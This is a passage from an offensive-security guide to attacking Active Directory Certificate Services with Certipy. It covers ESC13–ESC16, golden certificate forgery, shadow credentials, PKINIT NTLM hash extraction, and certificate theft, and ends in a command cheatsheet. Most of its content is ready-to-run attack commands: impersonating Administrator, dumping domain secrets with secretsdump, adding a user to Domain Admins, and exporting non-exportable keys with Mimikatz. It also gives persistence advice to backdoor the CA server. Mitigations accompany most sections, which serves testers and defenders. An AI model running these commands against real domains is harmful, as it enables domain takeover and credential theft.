export KRB5CCNAME=attacker.ccache
impacket-secretsdump -k -no-pass corp.local/attacker@dc01.corp.local
The key insight here: you do not need to request a cert for Administrator. You enroll as yourself, but the resulting Kerberos ticket carries the privileged group membership. No UPN manipulation required.
Mitigations:
- Audit all OID objects in
CN=OID,CN=Public Key Services,CN=Services,...formsDS-OIDToGroupLink - Never link issuance policy OIDs to high-privilege groups (Domain Admins, Enterprise Admins, etc.)
- Restrict enrollment to narrow, necessary groups on any template with OID group links
ESC14 — Weak Explicit Mapping (altSecurityIdentities)
Conditions:
- An attacker has
GenericWriteover a target account'saltSecurityIdentitiesattribute - The DC is in compatibility mode (
StrongCertificateBindingEnforcement = 1) or disabled mode (= 0) - The attacker can obtain any certificate (does not require enrollment in a specific template)
Background:
altSecurityIdentities is an AD attribute that allows explicit certificate-to-account mappings. The strong mappings format is X509:<I>Issuer<SR>SerialNumberReversed. But in compatibility/disabled mode, the DC also accepts weaker mapping strings such as:
X509:<RFC822>user@corp.local— matches the certificate's email SANX509:<UpnMapping>upn@corp.local— matches the UPN SANX509:<SubjectName>CN=name,...— matches Subject DNX509:<SKI>hexthumbprint— matches Subject Key Identifier
If an attacker can write to a privileged account's altSecurityIdentities, they can insert a mapping that points to a certificate they already control, and then authenticate as that account.
Exploitation:
# Prerequisite: attacker has GenericWrite on Administrator's object
# Attacker already has a certificate (e.g., from enrolling in any template)
# Get the certificate's RFC822 email or UPN value
# Step 1: Read attacker cert details
certipy cert -pfx 'attacker.pfx' -info
# Note the UPN or email SAN value from the output
# Step 2: Write a weak explicit mapping to the target account
# (Use bloodyAD, PowerShell, or impacket-ldapmodify)
# Example with bloodyAD:
bloodyAD -u 'attacker' -p 'Password!' -d corp.local \
--host DC01.CORP.LOCAL \
set object Administrator altSecurityIdentities \
"X509:<RFC822>attacker@corp.local"
# Step 3: Authenticate as Administrator using the attacker's own cert
certipy auth -pfx 'attacker.pfx' -dc-ip 10.0.0.100 \
-username 'administrator' -domain 'corp.local'
The
certipy certsubcommand can be used to inspect PFX contents and confirm what identity fields are present. Always verify the mapping type matches what is in the cert's SAN/Subject.
Detection: Certipy flags ESC14 when StrongCertificateBindingEnforcement is not at full enforcement and a user has write access to altSecurityIdentities on a privileged object.
[!] Vulnerabilities
ESC14 : Weak explicit mapping can be abused.
Mitigations:
- Set
StrongCertificateBindingEnforcement = 2 - Audit write ACEs on
altSecurityIdentities— only dedicated PKI/identity admins should write this attribute - Monitor changes to
altSecurityIdentitiesvia AD audit logs (Event ID 4662)
ESC15 — Schema V1 Application Policy Injection
Conditions:
- A Schema V1 certificate template (e.g., the built-in
UserorMachinetemplate) is enrollable by low-privileged users - The CA does not have a policy module that filters or validates the Application Policy extension
- An attacker can supply the
Application Policiesextension in their CSR (certificate signing request)
Background:
Schema V1 templates are the oldest template type in AD CS, inherited from Windows 2000/2003 era PKI. Unlike V2/V3 templates, they do not have a hard-coded EKU list — the CA blindly copies whatever EKU/Application Policy extensions the requester places in the CSR. This means an attacker enrolling in a V1 template can inject the Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1) into their own certificate, effectively upgrading it to an enrollment agent cert without having explicit permission to enroll in an agent-issuing template.
This is distinct from ESC3 (which requires a dedicated agent template to be present and enrollable). ESC15 abuses the V1 template's permissive CSR handling to synthesize an agent certificate from scratch.
Detection:
[!] Vulnerabilities
ESC15 : Schema V1 template allows application policy injection.
Exploitation:
# Step 1: Request a cert from a Schema V1 template, injecting the
# Certificate Request Agent application policy into the CSR
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-application-policies '1.3.6.1.4.1.311.20.2.1'
# → attacker.pfx (now contains Certificate Request Agent EKU)
# Step 2: Use the synthetic agent cert to enroll on behalf of Administrator
certipy req -u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
# → administrator.pfx
# Step 3: Authenticate
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100
Mitigations:
- Migrate all V1 templates to V2 or V3 (V2+ honour server-side EKU enforcement)
- Restrict enrollment rights on any remaining V1 templates
- Enable the CA policy module to reject CSRs with unexpected extensions
- Enable Manager Approval on templates that cannot be migrated immediately
ESC16 — Security Extension Disabled on CA
Conditions:
- The CA has disabled the
szOID_NTDS_CA_SECURITY_EXTfor all issued certificates (CA-wide setting) - An attacker can write to their own
userPrincipalName
How it works: Same as ESC9 but applied globally — all certificates from this CA lack the SID security extension, making UPN-based mapping the only option for the KDC.
Detection:
[!] Vulnerabilities
ESC16 : CA has disabled security extension.
Exploitation: Follow the same steps as ESC9 (change UPN → request cert → restore UPN → auth), but any enrollable client-auth template works (not just CT_FLAG_NO_SECURITY_EXTENSION ones).
Non-ESC Certificate-Based Attacks
These techniques do not fit neatly into the ESC numbering scheme but are first-class certificate abuse paths that Certipy directly supports.
Golden Certificate — Forge via Stolen CA Key
What it is:
A "Golden Certificate" is an arbitrary certificate signed offline by a compromised CA's private key. Because AD CS validation trusts any cert signed by an NTAuth-trusted CA, a forged cert authenticates as any domain principal — including accounts that do not exist.
Prerequisites:
- CA private key and certificate (obtained via ESC5, ESC7, ESC12, or direct CA server compromise)
Full workflow:
# Step 1: Export the CA private key and cert (requires Manage CA or local admin on CA server)
certipy ca -u 'admin@corp.local' -p 'Password!' \
-ns 10.0.0.100 -target 'CA.CORP.LOCAL' \
-config 'CA.CORP.LOCAL\CORP-CA' -backup
# → CORP-CA.pfx
# Step 2: Forge a certificate for any account
certipy forge \
-ca-pfx 'CORP-CA.pfx' \
-upn 'administrator@corp.local' \
-sid 'S-1-5-21-...-500' \
-crl 'ldap:///'
# → administrator_forged.pfx
# For a machine/DC account (use -dns instead of -upn):
certipy forge \
-ca-pfx 'CORP-CA.pfx' \
-dns 'dc01.corp.local' \
-sid 'S-1-5-21-...-1000' \
-crl 'ldap:///'
# → dc01_forged.pfx
# Step 3: Authenticate with the forged cert
certipy auth -pfx 'administrator_forged.pfx' -dc-ip 10.0.0.100
# → TGT + NTLM hash
Key notes:
- The
-crl 'ldap:///'argument sets a dummy CRL distribution point. Without it, PKINIT authentication fails because the KDC checks that a CDP extension is present (it does not verify the CRL itself during initial auth). - The forged cert is signed offline — no CA service interaction needed after key export.
- The private key for the forged cert is generated fresh by Certipy. Only the issuer signature uses the real CA key.
- This is permanent persistence: even if all accounts are reset, the CA key can forge new certs until the CA itself is rotated and removed from NTAuth.
Persistence consideration:
If the CA is removed from NTAuthCertificates or the CA cert is revoked and published to the CRL, forged certs stop working. To maintain persistence after CA rotation, plant a backdoor on the CA server itself rather than relying on the forged cert chain.
Mitigations:
- Treat CA servers as Tier 0 assets — no non-PKI-admin accounts with local admin
- Store CA private keys on an HSM with non-exportable key policy
- Rotate the CA if key compromise is confirmed (requires re-issuing all certificates)
- Monitor
CN=NTAuthCertificatesfor unexpected CA additions
Shadow Credentials — msDS-KeyCredentialLink Abuse
What it is:
Shadow Credentials abuse the msDS-KeyCredentialLink attribute on user or computer objects. This attribute stores public keys for Windows Hello for Business (WHfB) and PKINIT pre-authentication. An attacker who can write to this attribute can plant their own key pair, then authenticate as the victim via PKINIT using the corresponding private key — without knowing the victim's password.
Prerequisites:
GenericWriteorWritePropertyon the target'smsDS-KeyCredentialLinkattribute- The domain functional level must support WHfB key trust (Windows Server 2016+)
- A DC must have the PKINIT pre-authentication extension enabled
Full workflow:
# Auto mode: add key, auth, retrieve NTLM hash, then clean up (all in one)
certipy shadow auto \
-u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 \
-account 'targetUser'
# → targetUser.pfx, targetUser.ccache, prints NTLM hash
# Manual mode: add key only
certipy shadow add \
-u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 \
-account 'targetUser' \
-out 'targetUser'
# → targetUser.pfx (your private key), key planted on targetUser's object
# Authenticate using the planted key
certipy auth -pfx 'targetUser.pfx' -dc-ip 10.0.0.100
# → targetUser.ccache + NTLM hash
# List all keys on the target object (verify your implant is there)
certipy shadow list \
-u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 \
-account 'targetUser'
# Remove your key from the target (cleanup)
certipy shadow remove \
-u 'attacker@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 \
-account 'targetUser'
Attack chain with BloodHound path:
Shadow Credentials is a common final step in BloodHound paths involving GenericWrite or WriteProperty over a high-value target. The typical chain:
Low-priv user → GenericWrite on SvcAccount → Shadow Credentials → NTLM hash → Pass-the-Hash to privileged resource
Important notes:
shadow autois destructive if something fails mid-run — prefershadow add+ manual auth +shadow removein sensitive environments- The NTLM hash from
certipy authis retrieved via theU2U(User-to-User) Kerberos mechanism after obtaining the TGT — you do not need to crack it - Machine accounts can also be targeted if you have
GenericWriteover them — the resulting NTLM hash can be used for Silver Ticket attacks orsecretsdump
Mitigations:
- Audit
GenericWriteandWritePropertyACEs on all accounts — especially service accounts and machine objects - Monitor Event ID 5136 (directory object modification) for changes to
msDS-KeyCredentialLink - Consider disabling WHfB key trust if not in use (requires functional alternative for WHfB enrollment)
PKINIT Kerberos Abuse Post-Auth
What it is:
After obtaining a TGT via certipy auth, there are additional Kerberos techniques to extract more credentials or pivot further — specific to the PKINIT authentication path.
Retrieving NTLM hash via PKINIT U2U:
Certipy's auth command automatically does this. The flow is:
1. certipy auth → PKINIT pre-auth → TGT issued
2. Certipy sends a U2U (User-to-User) TGS request to itself
3. The KDC encrypts the response with the user's long-term key (derived from NTLM hash)
4. Certipy decrypts the PAC and extracts the NTLM hash
This means you get the NTLM hash without touching LSASS — fully from a network perspective.
# Standard: get TGT + NTLM hash
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100
# Output:
# [*] Using principal: administrator@corp.local
# [*] Trying to get TGT...
# [*] Got TGT
# [*] Saved credential cache to 'administrator.ccache'
# [*] Trying to retrieve NT hash for 'administrator'
# [*] Got NT hash for 'administrator@corp.local': <HASH>
# Use the TGT for Kerberos-auth impacket tools
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass corp.local/administrator@dc01.corp.local
impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local
# Use the NTLM hash for Pass-the-Hash
impacket-secretsdump -hashes :<NTHash> corp.local/administrator@10.0.0.100
Schannel / LDAP shell (when PKINIT is unavailable):
If Kerberos PKINIT is blocked (e.g., UDP/88 filtered, no PKINIT support on older DCs), the -ldap-shell flag authenticates via TLS client certificate (Schannel) to LDAP instead:
certipy auth -pfx 'administrator.pfx' -dc-ip 10.0.0.100 -ldap-shell
# → Drops into an interactive LDAP shell (add_user_to_group, set_dontreqpreauth, etc.)
Useful LDAP shell commands:
# Inside the ldap-shell:
add_user_to_group attacker "Domain Admins"
set_dontreqpreauth victim true # Enable AS-REP roasting on a target
whoami
Certificate Theft — Extracting Existing Certs
What it is:
Before forging or requesting new certificates, it is worth checking whether high-value certificates already exist on the target machine — especially in the user/machine certificate store or in memory. This is a post-exploitation / credential harvesting technique, not a CA misconfiguration abuse.
Using Certipy to dump certificates from the local store:
# Dump all certificates from current user's certificate store
certipy find -u 'user@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -local
# Dump certificates from a remote machine (requires local admin)
certipy find -u 'admin@corp.local' -p 'Password!' \
-dc-ip 10.0.0.100 -remote -target 'WORKSTATION.CORP.LOCAL'
Extracting PFX from Windows certificate store (on target machine):
If you have a shell on the target, use Certipy's Windows companion or PowerShell:
# List certs in machine store
Get-ChildItem Cert:\LocalMachine\My
# Export a cert with private key (requires admin, non-exportable keys will fail)
$cert = Get-Item "Cert:\LocalMachine\My\<THUMBPRINT>"
$pfxBytes = $cert.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx, "ExportPass")
[System.IO.File]::WriteAllBytes("C:\Temp\exported.pfx", $pfxBytes)
Using Mimikatz for non-exportable keys (crypto export patch):
# In Mimikatz:
crypto::capi # Patch CryptoAPI to allow export of non-exportable keys
crypto::cng # Patch CNG (Next Generation Crypto) similarly
crypto::certificates /export # Export all certs including non-exportable
What to look for:
High-value certificates in enterprise environments often include:
- Machine certificates (allowing full domain computer impersonation)
- DC certificates (enabling DCSync via
certipy auth→secretsdump) - Smart card logon certs for privileged users left on shared workstations
- Code signing certs (out-of-scope for AD auth but useful for other purposes)
Mitigations:
- Mark private keys as non-exportable at enrollment time (enforced by template)
- Use TPM-backed keys on workstations (non-exportable by hardware)
- Audit the machine/user certificate stores during incident response
Quick Reference Cheatsheet
# ─── ENUMERATION ───────────────────────────────────────────────────────────
certipy find -u 'user@corp.local' -p 'pass' -dc-ip DC_IP -enabled -text
# ─── ESC1: Enrollee Supplies Subject ───────────────────────────────────────
certipy req -u 'attacker@corp.local' -p 'pass' -dc-ip DC_IP \
-target CA_HOST -ca CA_NAME -template VULN_TEMPLATE \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# ─── ESC2/ESC3: Enrollment Agent ───────────────────────────────────────────
certipy req ... -template AgentTemplate # → attacker.pfx
certipy req ... -template User -pfx attacker.pfx \
-on-behalf-of 'CORP\Administrator' # → administrator.pfx
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# ─── ESC4: Template Hijack ─────────────────────────────────────────────────
certipy template ... -template TARGET -write-default-configuration
certipy req ... -template TARGET -upn 'administrator@corp.local' -sid SID
certipy auth -pfx administrator.pfx -dc-ip DC_IP
certipy template ... -template TARGET -write-configuration backup.json -no-save
# ─── ESC7: ManageCA Abuse ──────────────────────────────────────────────────
certipy ca ... -ca CA_NAME -add-officer attacker
certipy ca ... -ca CA_NAME -enable-template SubCA
certipy req ... -template SubCA -upn 'administrator@corp.local' -sid SID # → 1.key
certipy ca ... -ca CA_NAME -issue-request 1
certipy req ... -ca CA_NAME -retrieve 1 # → administrator.pfx
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# ─── ESC8: NTLM Relay to HTTP ──────────────────────────────────────────────
certipy relay -target https://CA_HOST -template DomainController
# (coerce auth in another terminal: PetitPotam / Coercer)
certipy auth -pfx dc.pfx -dc-ip DC_IP
# ─── ESC9: No SID Extension on Template ────────────────────────────────────
certipy account ... update -user attacker -upn 'administrator@corp.local'
certipy req ... -template ESC9Template # → administrator.pfx
certipy account ... update -user attacker -upn 'attacker@corp.local'
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# ─── ESC10 Case 1: UPN Pivot (weak cert mapping, GenericWrite on user) ─────
certipy account ... update -user UserA -upn 'administrator@corp.local'
certipy req ... -template User # enroll as UserA
certipy account ... update -user UserA -upn 'UserA@corp.local'
certipy auth -pfx UserA.pfx -dc-ip DC_IP
# ─── ESC10 Case 2: DNS Pivot (GenericWrite on machine) ─────────────────────
certipy account ... update -user 'MachineA$' -dns 'dc01.corp.local'
certipy req ... -template Machine # enroll as MachineA$
certipy account ... update -user 'MachineA$' -dns 'MachineA.corp.local'
certipy auth -pfx MachineA.pfx -dc-ip DC_IP
# ─── ESC11: NTLM Relay to RPC/ICPR ────────────────────────────────────────
certipy relay -target 'rpc://CA_HOST' -ca CA_NAME -template DomainController
# (coerce auth in another terminal)
certipy auth -pfx dc.pfx -dc-ip DC_IP
# ─── ESC13: OID Group Link ─────────────────────────────────────────────────
certipy req ... -template ESC13Template # enroll as yourself → TGT has DA membership
certipy auth -pfx attacker.pfx -dc-ip DC_IP
# ─── ESC15: Schema V1 Application Policy Injection ─────────────────────────
certipy req ... -template User \
-application-policies '1.3.6.1.4.1.311.20.2.1' # inject CRA EKU → attacker.pfx
certipy req ... -template User -pfx attacker.pfx \
-on-behalf-of 'CORP\Administrator' # → administrator.pfx
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# ─── FORGE (Golden Certificate) ────────────────────────────────────────────
certipy ca ... -backup # → CORP-CA.pfx
certipy forge -ca-pfx CORP-CA.pfx \
-upn 'administrator@corp.local' -sid SID -crl 'ldap:///'
certipy auth -pfx administrator_forged.pfx -dc-ip DC_IP
# ─── SHADOW CREDENTIALS ────────────────────────────────────────────────────
certipy shadow auto -u 'user@corp.local' -p 'pass' \
-dc-ip DC_IP -account targetUser # auto: add key, auth, cleanup
certipy shadow add ... -account targetUser # manual add key only
certipy auth -pfx targetUser.pfx -dc-ip DC_IP
certipy shadow remove ... -account targetUser # cleanup
# ─── POST-AUTH: PKINIT → NTLM + TGT USE ───────────────────────────────────
certipy auth -pfx administrator.pfx -dc-ip DC_IP # → TGT (.ccache) + NTLM hash
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass corp.local/administrator@DC_HOST
# Or Pass-the-Hash with the extracted NT hash:
impacket-secretsdump -hashes :<NTHash> corp.local/administrator@DC_IP
# ─── LDAP SHELL (when PKINIT is unavailable) ───────────────────────────────
certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell
# Inside shell: add_user_to_group attacker "Domain Admins"
References
- GitHub: https://github.com/ly4k/Certipy
- Wiki: https://github.com/ly4k/Certipy/wiki
- Usage: https://github.com/ly4k/Certipy/wiki/05-%E2%80%90-Usage
- Privilege Escalation: https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation
- SpecterOps "Certified Pre-Owned": https://posts.specterops.io/certified-pre-owned-d95910965cd2
- SpecterOps ESC5: https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c
- ESC10/ESC16 (ly4k blog): https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
- ESC11 (ICPR relay): https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/
- ESC13 (OID group link): https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53
- ESC14 (altSecurityIdentities): https://posts.specterops.io/adcs-esc14-abuse-technique-4c14ede0b51a
- ESC15 (Schema V1 policy injection): https://posts.specterops.io/adcs-esc15-abuse-technique-39f0572c3f74
- Microsoft KB5014754 (SID extension enforcement): https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Shadow Credentials research (Elad Shamir): https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab